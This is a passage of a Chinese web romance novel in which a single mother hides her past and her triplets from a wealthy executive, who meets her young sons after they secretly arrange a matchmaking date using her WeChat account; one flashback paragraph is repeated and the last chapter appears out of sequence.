即便她诚恳保证,但是,霍老爷子不信她,“霍妩,我要你发誓,这辈子都不要再缠着宴北。” 后来,她跪在霍老爷子面前,指天发誓,“我这辈子,和宴北哥老死不相往来,如有违背誓言,一生不得安宁……” 逝去的回忆在脑海里闪回。 每一句话,都像一把尖刀,深深地刻在她骨头上。 即便此刻想起来,心里依旧钝痛不已。 一滴热泪滑落眼角。 她低着头,抬手用力拭去后,整理好情绪,朝着霍宴北露出一个得体温婉的笑容,“霍总,多谢您的好意……” 第109章 关心他 注意到他袖口凌乱,大衣有些褶皱,连裤子也没有平日里熨烫的笔直。 穿的还是昨天那身衣服。 一看就知道,昨夜没有洗浴。 而且,是在车里睡了一夜…… “出来,到我办公室。”走神时,电梯已经停在三十一层。 霍宴北丢下这句话后,沉步朝办公室走去。 乔眠亦步亦趋跟出来,问陈珂,“霍总找我是有什么事吗?” 她现在对霍宴北真是怕极了。 倒不是怕被他训,而是怕他发疯纠缠。 陈珂见她一脸担忧的样子,给她吃定心丸,“霍总不像是心情不好的样子,放心,你进去后,主打一个听话就是。” 这话跟没说一样。 乔眠心情忐忑的走进办公室。 “霍总,有事您吩咐……” 她在办公桌前站定,垂着眼眸,温顺的像一只小绵羊。 但是,紧紧绞在一起的双手,出卖了她此时心里很紧张。 霍宴北收回视线,从抽屉里拿出一份合同,推到她面前,“看一下。” 乔眠疑惑的拿起来,仔细看完后,一脸惊讶地看着霍宴北,“霍总,我不是霍氏员工,您给我劳务合同做什么?” 霍宴北高大修长的身躯陷进真皮座椅里,双手交叉于怀,脸上的表情略显严肃,“你在荣华的合同还有半年就到期了,如果离职的话,可以来霍氏。” 乔眠攥着文件的手指轻轻一颤。 他突然给她这份劳务合同,难道知道她要从荣华律所离职了吗? 凝神时,男人低沉富有磁性的嗓音再次传来,“离开荣华,以你的资历,即便去别的律所就职,薪水也远远达不到霍氏法务部给你待遇。” 合同在指间攥出褶皱,乔眠咬紧了唇角。 比起掌控地方经济命脉的霍氏集团,即便爬到律师行业最顶端的翘楚,也也是资本圈的打工人和推牌手。 她刚仔细看过了,霍氏开出的年薪,比她即将要入职的同尘律所还要高出两倍。 这是一道答案很明显的选择题,无论是为名,还是为钱,换作是谁,都会选择就职霍氏。 而且,在霍氏,接触的都是顶级资本圈层的大项目。 对于她这样中庸的律师,是提升锻炼能力的绝佳机会。 甚至是改变职业命运的机遇…… 可是—— 如果不是躲霍宴北的话,她会毫不犹豫的接受这么诱人的待遇。 没人会跟钱过不去。 何况,像她这种需要养三个娃,很缺钱的人。 可是,如果真的就职霍氏,待在霍宴北身边做事,只会跟他纠缠越来越深。 两人相处久了,她的身份,终有一天会败露。 一旦霍宴北知道她是霍妩的话,以他疯批偏执的性子,是绝对不可能放开她。 再让他知晓,她给他生了三个孩子的话,他会毫不犹豫的把孩子抢走。 但要是霍家老爷子知道的话…… 霍家这样的顶级名门,极注重家世出身,即便她母凭子贵,也不可能让她进霍家的门。 所以,她最后的结果只可能是……去母留子。 这一点,六年前,霍老爷子就跟她说得很明白。 那是霍宴北和宋蔓订婚前夕,霍老爷子曾经命人把她接回老宅,跟她开诚布公的密谈了一次。 到现在,她依旧记得很清楚那天的场景。 她跪在地上。 霍老爷子拄着拐杖,将一张支票和张飞往M国的机票丢到她面前的青石地砖上,目光里充满了鄙夷和怒气。 “霍妩,当初接你回霍家,一是念在你照顾过宴北,答谢你对霍家的恩情,二是,见你无依无靠实在可怜,这才给你一个霍家千金的身份,让你衣食无忧,荣华富贵,可是,你这个丫头,未免太贪心了!” “你明知道,我反对你和宴北的事情,可你,私底下还要勾缠他,你真是忘恩负义人小白眼狼啊。” “霍妩,念在你喊了我四年的爷爷的情面上,我不会将你赶出霍家。” “我明确告诉你,即便你当宴北的外室,也不够格,如果再让媒体记者爆料出他跟自己的妹妹,还是一个聋哑人在一起过分话,霍家的脸面还要不要了?” “宴北一心要继承霍氏的野心,也会被你毁了,别忘了,当年,就是因为继承人之争,他沦落到街头,被你捡了回去。” “如果,你真的为了他好,就离开京市,出国吧,这辈子都不要再回来了。” “况且,宴北马上就和宋蔓订婚了,你继续留在霍家,不尴尬吗?” 那天,霍老爷子软硬兼施,跟她说了很多。 只有一个目的,就是要她离开霍家,离开霍宴北。 也就是从那时起,她明白,即便霍宴北不负她,她这辈子也注定和他没有结果。 而且,即便霍老爷子不找她,她也是要离开的。 她和周津南约好的,一起去沪城的。 所以,她没有拿那张支票,还有机票,她藏着怀孕的秘密,跟霍老爷子保证,“霍爷爷,您放心,等我这学期毕业,我马上会离开霍家,消失的干干净净,这辈子不会再见宴北哥……” 即便她诚恳保证,但是,霍老爷子不信她,“霍妩,我要你发誓,这辈子都不要再缠着宴北。” 后来,她跪在霍老爷子面前,指天发誓,“我这辈子,和宴北哥老死不相往来,如有违背誓言,一生不得安宁……” 逝去的回忆在脑海里闪回。 每一句话,都像一把尖刀,深深地刻在她骨头上。 即便此刻想起来,心里依旧钝痛不已。 一滴热泪滑落眼角。 她低着头,抬手用力拭去后,整理好情绪,朝着霍宴北露出一个得体温婉的笑容,“霍总,多谢您的好意……” 乔眠把劳务合同推还回去,“我暂时没有要离开荣华的打算。” 最后一句话,带着试探。 她不清楚,霍宴北是不是因为知道她要离开荣华,所以,才邀请她入职霍氏的。 霍宴北预判到她会拒绝入职霍氏,只是,他诧异的是,她居然没打算过离开荣华? 他了解过她以前在荣华的事情。 知道那个韩东平主任一直骚扰乔眠。 第110章 下家都找好了 茶水间。 周津南冲了两杯拿铁。 将其中一杯放在乔眠面前的桌子上后,在她对面坐了下来。 “谢谢……” 乔眠端起咖啡杯,抿了一小口后放了回去。 白皙干净的手指捏着白瓷小勺,轻轻搅动着咖啡,心绪复杂的问:“周总监,你要离职,是受那个人逼迫吗?” 周津南轻笑,“你说的‘那个人’,是指霍总?” “是……” 怪她小人之心。 之前几次,霍宴北因为她和周津南走的近一些,对周津南似乎有意见。 以霍宴北的疯批手段,很有可能对周津南下绊子。 况且,周津南并非豪门出身,顶多算是中上阶级,于他而言,能够做到法务总监一职,非常不易。 现在忽然间要辞职,若非不可抗力的原因,又怎会放弃辛苦挣来的大好前程而离职呢? 这就很奇怪。 “秦妩,你很担心我?” 周津南见乔眠一脸愁容,忍俊不禁地问了一句。 而且直呼她原名。 态度淡定的一副事不关己的模样。 当啷一声。 指间的瓷勺掉在咖啡杯里,乔眠蹙眉道:“我们是老同学,我当然关心你。” 周津南听后,勾唇笑了笑。 她终于不再一板一眼的唤他周总监了。 此刻,两人面对面坐在一起,宛若回到了校园时代。 好像曾经那个清韧果敢的秦妩回来了。 见她表情严肃,他也不再绕弯子了,“我是主动要离职的,跟霍总没有关系。” 听他这么说,乔眠十分吃惊:“你……为什么要离职?你在霍氏能够做到这个位置,是多少人都羡慕不来的,放眼国内,霍氏也是首屈一指的大集团,你一旦从这个位置上下来,以后跳槽到别的公司,未必会有在霍氏有更好的发展前景。” 她完全从利益出发考虑问题。 所以,一时间,真的不理解周津南为何要离职。 而且,霍宴北又没有针对他。 不像她,虽是京大高材生,却没能毕业。 而周津南是政大出来的,又有如今的成就和位置,是她这个小律师终其一生可能都抵达不到的顶峰,就因为自己缺失,所以,才更加替他可惜。 周津南听着乔眠给他分析利弊,是真的在为他考虑,心里是抑制不住的开心。 但,同时又很愧疚。 他曾经失信于她,她却从未怪过他,还这么担心他。 他怎配? 周津南目光平静地看着乔眠,由衷的说:“虽然在霍氏发展前途无量,但是,我有自己的规划……” “难道有公司高薪挖你?” 乔眠猜测。 周津南摇头,实话实说:“我跟朋友合伙开了一家律师事务所,现在已经筹备的差不多了。” “……” 这个结果,是乔眠万万没想到的。 开一家律师事务所,于周津南来说,并不难。 难的是运营。 这个圈子不大,但是,如果没有背景、人脉和资源,想要混出点名堂,很难。 除非像顾淮年那样名门出身的贵公子,众诚律所单是挂着顾家的名头,每天都有许多人眼巴巴的上门送业务求合作。 这就是现实。 乔眠沉吟片刻道,“成立律师事务所是好事,但是,以后要面临的问题会很多。” “我知道你在担心什么,我没有背景,创业起初肯定艰难,可能接的都是些小案子,但,这是我当年毕业后,一直想做却没能做到的事情。” 说到这里,他眼底的光亮黯淡了下去,“秦妩,六年前,我答应带你去沪城,其实,那时候已经对未来有了规划,想着将来我们一起开一家律师事务所。” “可是……” 周津南眼尾渐渐猩红,缓缓伸手,搭在乔眠手上,轻轻握了握,“我一直欠你一句道歉,秦妩,对不起,当年,是我失约了。” 再提过往,乔眠眼中只有饱经沧桑后的淡然和平和。 “周津南,我从未怪过你。” 她面容淡静,没什么情绪,却让周津南心里更加不是滋味。 他宁愿她冲他发一通火,或是质问他,为什么当年失约? 可是,她太平静了。 平静到有些冷漠。 让他心里很不好受,更加愧疚。 这六年,她该是经历了怎样的苦难,才养就了这般看淡一切的性子。 以前,她虽不爱说话,性子孤僻,骨子里却有一股不向命运低头不服输的韧劲儿。 可现在的她,不争不抢,小心翼翼,好像只为活着而活着。 又好像,她已经从过去走了出来,而他却还在执念于过去。 一如,他之所以放弃在霍氏的一切,耗尽所有身家,开律师事务所,只为了乔眠。 他要帮她从霍宴北身边逃离。 还要给她打造一个栖身之地。 同尘律所,就是他送给乔眠的道歉礼物。 只是,他现在不敢告诉她实情。 他怕她现在知道一切,不仅不会收下那六十万,也不会去同尘律所…… “秦妩,你虽然不怪我,可是这些年,我从未原谅过我自己。” 想到过去,周津南一脸伤感。 心里闷涨着疼。 乔眠却淡然一笑,“过去的事情,都已经过去了,周津南,我早就不是曾经的秦妩,也不是霍妩,我现在只是乔眠,人总要往前看,不是吗?” 周津南淡笑:“从认出你就是秦妩后,我就已经在往前看,为未来做着规划了。” “既然你已经决定离职,走创业这一条路的话……” 乔眠端起咖啡杯,轻轻碰了一下他手中的咖啡杯,“周津南,我支持你的决定。” 得到她的支持,周津南有一种想立马告诉她,他就是同尘律所幕后老板的冲动。 但是,忍下了。 想到这里,他忽然想起什么,说道,“我离职,霍总肯定会让你就职霍氏,顶替我的位置,对吧?” 乔眠:“他已经提过了。” 周津南眉头微蹙,“看来,他还是怀疑你的身份,你怎么考虑的?” 虽然,他知道她已经在办离职手续了,但还是想要再问一遍。 乔眠也没有瞒他,“我已经偷偷在办离职手续了,而且连下家都找好了。” 第111章 霍宴北见到了孩子们 周津南挑眉,“说不定,很快我们就又在一起共事了。” “什么?” 乔眠疑惑的看着他。 周津南摇头,“开句玩笑,说不得哪天一起合作了呢。” “哦……” 乔眠觉得他怪怪的,但一时间没多想。 两人聊了一会儿,回去时,周津南冷不丁问了一句,“你最近在征婚?” “没有啊。” 乔眠诧异,“你怎么会这么问?” 好像之前,霍宴北也问过她同样的问题…… 周津南观她表情,似乎真的什么都不知道的模样,打开手机一个同城婚恋APP。 点开她的个人征婚主页,展示给她看。 “你的征婚启事,已经在这个APP上面挂了一个多月了。” 乔眠看完征婚信息,一脸懵,“我没有发布过征婚启事,这上面怎么会有我的照片?连名字都一样。” 周津南若有所思,“会不会是你朋友瞒着你给你征婚的?” 乔眠第一时间想到了阮薇。 阮薇最近被逼着相亲,在几个婚恋网上都注册了会员。 说不定,是瞒着她,偷偷给她也征婚了…… “我一会儿问问。” “不过,也有可能是别人盗用了你的照片和个人信息,毕竟,现在很多新型诈骗手段,就是通过婚恋网站诈骗男人的钱财。” 周津南分析道。 乔眠觉得有这个可能,“等我搞清楚是怎么一回事,如果真的是别人盗用了我的个人信息,我就报警处理。” “嗯。” 两人一边聊着,朝法务部走去。 刚走到法务部门口,正好撞上霍宴北从办公室里出来。 “霍总……”乔眠和周津南打招呼。 霍宴北目光清冷的扫了一眼两人,没有说话。 紧接着,宋蔓从办公室里走了出来,挎着霍宴北的胳膊,柔声说道,“宴北,今天幼儿园有亲子活动,我们现在过去吧。” 霍宴北嗯了一声,径直越过乔眠,和宋蔓一起离开了。 而乔眠僵硬的站在原地。 心里还在消化‘亲子活动’这四个字。 她想起每次参加三个小宝在幼儿园的亲子活动时,别的小朋友都由爸爸妈妈陪在身边做游戏,而她一拖三,看起来很招人注意,也很尴尬。 还遭过不少家长背地里议论。 想到这些,不禁抠紧了掌心皮肉。 丝丝缕缕的疼蔓延至心头。 闷胀的整个胸腔都是痛的。 周津南望着情绪一下子沉下来的乔眠。 知她所想,抬手,轻轻按了按她消瘦的肩,“你的孩子,如果以后参加亲子活动的话,我可以充当人数。” 乔眠诧异,“你知道我有孩子?” 她从未在他面前提过孩子。 周津南知道她在想什么,解释道:“那次,我认出你以后,有一次,去过城中村找你,本想跟你相认的,但是,正好看到你接孩子们从幼儿园放学的画面……” 说到这里,他郑重道歉,“抱歉,我没有刻意跟踪你,确实是在那条弄堂外恰好看到的。” 乔眠摇了摇头,苦涩一笑,“没什么可道歉的,我只是觉得,有些事情怕是终有一天会瞒不住。” 她指的是孩子们的身世。 周津南安慰道,“只要他没认出你,就不会把孩子们和他自己联系到一起,等你离开霍氏,就自由了,不是吗?” “嗯……” 回到工位后,乔眠摒弃杂念,将注意力都集中在工作上。 下班后,接到孩子们,回到出租屋,吃完晚饭后,乔眠这才有功夫登陆同城婚恋app,把关于她页面的征婚信息截图,发给了阮薇。 很快,阮薇就打过来了一个电话。 “啥情况啊,你要在网上征婚?” 阮薇吃惊的嗓门都高出了几十分贝。 乔眠将手机拿远一些,“真的不是你帮我征婚的?” 阮薇无语的笑了,“乖乖,我自己在网上征婚都搞不赢了,哪有功夫给你征婚呢。” 听阮薇这么说,乔眠想起周津南之前的提醒,喃喃自语,“难道真的有人挪用了我的身份信息?” 挂断电话后,乔眠又截了几张图,保存下来。 准备明天去警局报警。 而此时,坐在客厅沙发上的乔慕城,看到一条微信留言。 【明天在你家附近汉堡店见?】 乔慕城直接回道,【是的,明天中午见哦。】 那边,霍宴北正陪女儿看故事书时,收到了微信。 看完内容后,不禁皱了皱眉。 下午发给乔眠的微信,她居然晚上十点才回…… 也不知道在忙些什么! 想到下午在公司那会儿,她跟周津南边走边笑的模样,心里莫名烦躁。 她何时对他那么笑过? 刚把顾淮年弄走,她身边又来了一个周津南。 她可真是不消停! …… 翌日。 周六。 阮薇一大早就来了。 还买了早餐带上来。 吃完早餐,见时间还早,乔眠把屋子收拾了一遍,又把衣服洗了,晾在阳台。 忙完后,乔慕心已经等不及了,高高兴兴的换上了最喜欢的公主裙,嚷嚷着要立马出门逛街。 乔眠还没换衣服,只好让阮薇带着乔慕心先下楼,去车上等。 等乔眠收拾好,见两个儿子坐在沙发上,抱着手机,正沉浸于玩游戏中时,走过去,温声问,“你们两个真的不跟妈妈一起出去吗?” 乔慕城和乔慕野同时摇头。 “那好吧。” 乔眠无奈的叹了一声,揉了揉俩宝的小脑袋,叮嘱道,“有任何事情要第一时间妈妈打电话哦,知道吗?” “知道啦。” “妈妈,我们很乖的。” 乔眠知道两个儿子要比乔慕心省心很多。 又叮嘱一些安全注意事项,打开家里的监控视频后,她才放心的出门了。 只是,乔眠不知道的是,她走后没多久,乔慕城和乔慕野就下楼了。 …… 霍宴北今天是独自开车出来的。 抵达城中村时,已经十一点半。 因为对环境不熟悉,寻了半天,才在弄堂附近的一条街上,看到一家汉堡店。 门店装修类似肯德基。 店面不大。 他把车停在门口旁边的空位上,下车后,径直推门走进去。 里面的情景一目了然。 第112章 霍宴北和孩子们对峙坐在一起 此时,汉堡店里,只有两个店员在忙碌。 吧台前,站着三个带娃的宝妈,正在等着取餐。 其中一个家长抱着的小孩嘴里哭闹个不停。 还有两个穿着校服的小学生,坐在小桌前,一边吃着汉堡,喝着可乐,嘴里时不时地冒出几句方言。 兴高采烈的不知道叽叽喳喳在讨论什么。 还有两个外卖小哥,站在门口,一脸着急的催促店员,“单子快超时了,怎么还不出餐啊?” 店员被催的不耐烦,“单子多,等一会儿,急也没用!” 外卖小哥低咒了一声国粹,转身,摔门走了。 店里开着空凋,空气不流通,到处充斥着浓重的炸鸡肉香味。 霍宴北下意识掩了一下鼻子。 被闹哄哄的嘈杂声吵得脑仁疼。 感觉像是进了菜市场。 而他,因为顶级的颜值,爆棚的身材,矜贵不凡的气质,不食人间烟火的贵公子,与这里的环境完全格格不入。 从进门后,就引得所有人的注目。 那才那个不耐烦的女店员,此刻,腼腆的红着脸,夹着声音问,“先生,请问,您要点餐吗?” 霍宴北没说话,环视四周,并没有寻到乔眠的身影时,不禁皱起了眉。 而此时,从卫生间出来的乔慕城和乔慕野,回到角落里靠窗的位置坐下。 一眼就注意到鹤立鸡群,气质雍容尊贵的男人。 两小只目光定定的打量完霍宴北后,小声蛐蛐。 “哥,这个叔叔……长得很有钱的样子。” 乔慕城歪着小脑袋,眼神清澈的望着男人绝美的神颜,不禁有些若有所思。 这个叔叔,似乎长得有点像他和弟弟…… 两人正看得出神时,有意站着等了一会儿的霍宴北,脸色肉眼可见的沉冷。 他掏出手机,点开微信,直接给对方拨了一通语音电话。 同时,一道清脆的手机铃声突兀的响起。 两小只看着微信页面突如其来的语音电话,面面相觑。 一时间,不知道该不该接起。 语音来电的声音持续响着。 引得霍宴北转过身,循声望去。 却看到靠窗最角落的位置,坐着两个小男孩。 从身高判断……大概六岁左右。 瘦瘦高高的。穿着一模一样的蓝色长款羽绒服,头发软软卷卷,毛茸茸的。 两小只面前的小圆桌上,放着一部手机。 两个小男孩,正低着头,全神贯注的盯着手机。 语音来电的铃声,正是那部手机传出来的。 有那么一瞬间,霍宴北感觉脑袋像是冷不丁被什么重物击中一样,嗡嗡作响。 他面色僵硬的怔了两秒后,落于耳边的手垂了下来。 低眸,看了眼手机显示对方无人接听的语音界面。 顿了一下后,又抬眸,望向那两个小男孩,挂断语音电话的同时,那两个小男孩面前桌子上的手机也在顷刻间安静了下来。 霍宴北觉得天雷滚滚的砸下来。 唇角狠狠一抽。 似是不相信眼前所看到的事实。 僵硬的拨动修长的手指,再次拨了一通语音电话。 当听到那两个小男孩面前的手机,在同样的节点响起时,霍宴北整张脸都绿了。 而乔慕城看到语音来电再次响起时,迟疑的皱着小眉头,嘴里嘟哝了一句,“霍叔叔要到了吗?” 乔慕野,“他一直打语音电话,是不是找不到我们呀?哥哥,还是接吧。” “好吧……” 乔慕城忐忑的点了接听键。 本欲挂断语音电话的霍宴北,眼睁睁看着靠窗坐着的其中一个小男孩,对着手机,唤了一声‘霍叔叔’时,霍宴北闹哄哄的脑袋直接裂开了。 他又懵又愣的站在原地。 感觉自己就像一个傻子,网友奔现最奇葩的名场面,也不过如此。 他无语又恼火。 气极反笑。 嘲笑自己居然愚蠢到,没有察觉聊了这么久微信的人,不是乔眠。 对方居然是个孩子? 可是—— 他低头,再次查看了一遍微信名。 ‘不爱吃蛋糕的咸鱼’,是乔眠的微信名不错。 他快速翻了一遍聊天记录。 他问过对方是不是乔眠,对方承认是乔眠…… 所以,这俩小不点冒充了乔眠,和他聊天…… 可是,他们和乔眠是什么关系? 霍宴北脸上写满问号,抬步朝两小只走去。 而迟迟得不到回应的乔慕城,再次对着手机唤了一声‘霍叔叔’时,一抹高大如山的阴影覆盖下来。 紧接着头顶,传来一道略严肃的男人嗓音,“你们两个小家伙……是谁?” 乔慕城和乔慕野转头看向声音来源处。 当三双眼睛直直的对视上那一刻,霍宴北漆黑幽暗的眸子猛地一紧。 刚才隔着一段距离,两个小男孩低着脑袋,并没有看清楚他们的长相。 此时,他居高临下,近距离俯视着两个小男孩软乎乎白嫩嫩的小脸,霍宴北心里攒着的的火气,一下子灭了下去。 这俩小男孩,长得漂亮帅气,眼睛很像……乔眠? “你们是谁?” 他神情惊愕,再次问道。 只是,语气比之前温和许多。 乔慕城和乔慕野仰着小脸,望着高大冷峻的男人,先是一愣。 这个叔叔长得这么好看,却忽然来搭讪,该不是人贩子? 乔慕城满眼警惕的打量着疑似人贩子的好看叔叔。 同时,悄悄挪到乔慕野身边,拉起弟弟乔慕野的小手,语气冷冷的反问一句,“你又是谁?” 霍宴北唇角一抽,气笑了。 他拉开一张椅子,身高腿长的屈尊坐下来,双臂抱怀,勾着唇角看着两个小男孩,“我自然是你们口中的霍叔叔,难道不是你们约我出来见面的?” 乔慕城听后,直接把弟弟拉了起来,并护在身后,态度又冷又充满防备,“骗子!你才不是霍叔叔!” “……” 霍宴北无语的抓了下额角,忍俊不禁的笑了笑,“小屁孩,你连我是谁都不知道,也没见过我本人,就敢约出来见面,胆子够大啊?你们家长呢?” 乔慕城听他这么说,对他更加防备了,“我约的是霍叔叔,你又不是霍叔叔,我们不要和骗子说话!” 第113章 霍叔叔,你喜欢我妈妈吗? 乔慕野从哥哥身后探出一个小脑袋,故作凶凶的表情瞪着男人:“我妈妈说过,主动跟我们小孩子搭讪的陌生人,都是人贩子,你是骗子,坏人!我和哥哥是不会被你骗走的!” 说到这里,乔慕城又补了一句,“骗子叔叔,你不要再和我们说话,要不然,我报警,让警察叔叔抓你哦。” “……” 霍宴北并不是一个爱笑的人。 今天的笑,比他一年都多。 却是被接连气笑的。 他也从未想过有一天,会被两个小男孩骂坏人、骗子! 眼见两个小孩,一板一眼的彻底把他当成了人贩子,他没有一点生气和不耐烦。 反而对这俩小孩充满了兴趣和好奇心。 霍宴北轻挑眉宇,“你们怎么确定我不是霍叔叔的?” 乔慕城扬了扬手机,“霍叔叔发过他的照片,他长得和你不一样,你不是霍叔叔!” “对!” 乔慕野跟着输出,“你比霍叔叔长得好看太多了,你不是霍叔叔,休想骗我们。”霍宴北这才恍然明白,这俩孩子对他防备,误认为他是坏人,不是没有原因的。 之前一次微信聊天,对方问他要照片,当时,他随手拍了一张陈珂的照片发了过去。 所以,这俩孩子才以为照片上的陈珂是‘霍叔叔’。 想到这里,他直接把手机打开,放在桌子上,指了指上面的微信聊天记录,“这难道不是你们给我发的?” 乔慕城和乔慕野低头脑袋,认真看完聊天记录后,惊讶的看向霍宴北,仍是不敢置信的问,“你就是……霍叔叔?霍宴北叔叔?” “还知道我的名字?” “自然。” “啊?” 乔慕城跟弟弟坐下来,面面相觑之后,问,“可是,为什么照片上和你长得不一样?” “你们是十万个为什么吗?” 霍宴北越看这俩小男孩,心里越是柔软的想要亲近。 他抬手揉了揉俩孩子的小脑袋,解答他们的疑惑,“照片……发错了。” 末了,修长的手指有一下没一下的点着桌子,故作严肃的询问,“我现在倒是要问问你们两个小屁孩,为什么冒充乔眠的微信跟我聊天?你们的爸爸妈妈,跟乔眠很熟悉?” 他猜测,这俩孩子或许是乔眠朋友的孩子。 微信聊天,可能就是一场小孩子的恶作剧。 他心里已经不在意了,也不会追究这个事情,刚才这么问,就是吓唬吓唬他们。 但是,没想到俩孩子的回答,直接震得他脑袋雷烟滚滚。 “霍叔叔,我妈妈就是乔眠呀,我们约你出来,是想见见你人。” “对呀,我们在给我妈妈相亲,也在给我们找一个后爸。” 说到这里,俩孩子特别有礼貌的跟他道歉,“对不起,霍叔叔,刚才把你当成骗子了。”末了,两个小男孩忽然凑到他面前,眼睛亮亮的盯着他问,“霍叔叔,你是在大公司上班吗?” “工资比我妈妈高很多吗?” “霍叔叔,你喜不喜欢我妈妈呀?” “我妈妈长得可美了,你也长得很好看,我觉得,你跟我妈妈挺合适的。” 说到这里,俩孩子又分别指了指自己,“你跟我妈妈将来结婚的话,你将会得到三个孩子,霍叔叔,你赚了耶。” 霍宴北的脑袋还处于宕机状态。 好不容易回血一点,又被孩子们语出惊人的你一言我一语的暴击到彻底死机。 他失神的坐在椅子上,神情复杂的一言不发。 所以,乔慕心是乔眠的女儿。 这俩小男孩也是她的孩子? 她……一共生了三个孩子! 而她的孩子们冒充妈妈的微信,跟他聊天,是为了给自己的妈妈相亲找老公? 给自己找后爸? 这……简直太奇葩了! 捋顺整个事情脉络后,他扶着额头,无语的笑出了声。 乔慕城看到他笑,跟他一下子没了距离,小手拉住他的大手,问,“霍叔叔,你挣得工资,够不够养我妈妈和我们呀?” 乔慕野补了一句,“我们很好养活的,但是,你得对我妈妈好,不能欺负她,更不能虐待我们。” “……” 霍宴北想笑,却在听到孩子们如此认真诚恳的话时,却笑不出来了。 这俩孩子看着没头没脑的搞了一个大乌龙事情。 但其实,很懂事。 这么小的孩子,居然给妈妈相亲,都是因为心疼妈妈。 而且,特别重视他有没有钱…… 霍宴北不禁想起之前遇到乔眠送外卖的一幕,这才恍然明白,她一个律师,虽然工资不算太高,但是,也足够养活她和女儿了,却为何还要这么拼命赚钱了。 原来,她要养三个孩子。 普通人家养一个孩子,可能都会有压力,何况她一拖三。 以她在荣华每个月几千块的工资,根本不够开销的。 怪不得,她连车都没有。 想到这些,霍宴北心里生出一丝怜悯和心疼。 连带着看着眼前的俩孩子都充满了心疼。 他起身,走到台把前,点了一个全家桶套餐。 端着托盘坐下来,把吃的喝的放在孩子们面前,“中午了,先吃点东西。” 乔慕城和乔慕野眼馋的看着诱人的炸鸡汉堡,认真的道了一声谢谢后,不客气的开吃了起来。 “你们约我见面,你妈妈不知道吗?” 霍宴北靠着椅背,修长的手指轻轻点着桌子,问。 乔慕城摇头,“妈妈不知道。” “那你妈妈人呢?” 他又问。 周六,还是中午。 俩孩子跑出来这么久,乔眠就不担心吗? 乔慕野喝了一口可乐,把一颗鸡米花递到霍宴北嘴边。 霍宴北迟疑了一下,但瞧着孩子真诚单纯的小脸时,张口吃进了嘴里。 “妈妈和干妈带着我妹妹一起出去逛街了。” 乔慕城回答完问题后,端起可乐,递到霍宴北嘴边,“霍叔叔,你也喝。” 霍宴北望了一眼已经被咬出痕迹的吸管,不知为何,居然没有一点嫌弃,低头含在嘴里,吸了一口。 沁凉的可乐漫入喉间,霍宴北蹙了下眉。 刚才大意了,不该冰的。 这么凉的饮料喝下去,肚子会受不了的。 他女儿霍思念肠胃就不好,一喝冰的就坏肚子。 想到这里,他伸手把俩孩子手里的可乐拿走,起身,去吧台点了两杯热牛奶。 第114章 孩子像极了他 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经死了。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 